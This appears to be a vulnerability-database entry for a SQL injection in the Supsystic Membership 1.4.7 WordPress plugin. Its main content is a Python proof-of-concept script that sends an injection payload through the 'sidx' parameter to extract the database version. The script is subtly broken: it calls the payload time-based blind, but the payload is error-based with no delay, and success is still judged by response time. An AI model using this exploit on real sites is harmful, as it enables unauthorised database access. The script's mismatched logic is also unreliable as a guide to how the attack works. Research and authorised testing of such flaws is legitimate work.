CVE-2020-37244

Description

Supsystic Membership 1.4.7 contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the 'search' and 'sidx' parameters. Attackers can send GET requests to the badges module with crafted payloads to extract sensitive database information using time-based blind or UNION-based SQL injection techniques.

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (Replace with actual target)
target_url = "http://example.com/wp-admin/admin-ajax.php"

# Payload for time-based blind SQL injection via 'sidx' parameter
# This payload attempts to extract database version using a conditional delay
payload = {
    "action": "supsystic_membership_badges", # Action might vary based on plugin version
    "search": "test",
    "sidx": "id AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,0x27,(SELECT version()),0x27,0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -"
}

try:
    print("Sending payload to target...")
    response = requests.get(target_url, params=payload, timeout=10)
    
    # Check if the response time indicates successful injection or response contains DB version
    if response.elapsed.total_seconds() > 5:
        print("[+] Potential Vulnerability detected! (Response time delayed)")
    else:
        print("[-] Vulnerability not detected or payload incorrect.")
        
    print("Response Status:", response.status_code)
    # print("Response Content:", response.text) # Uncomment for debugging

except requests.exceptions.RequestException as e:
    print(f"Error connecting to target: {e}")
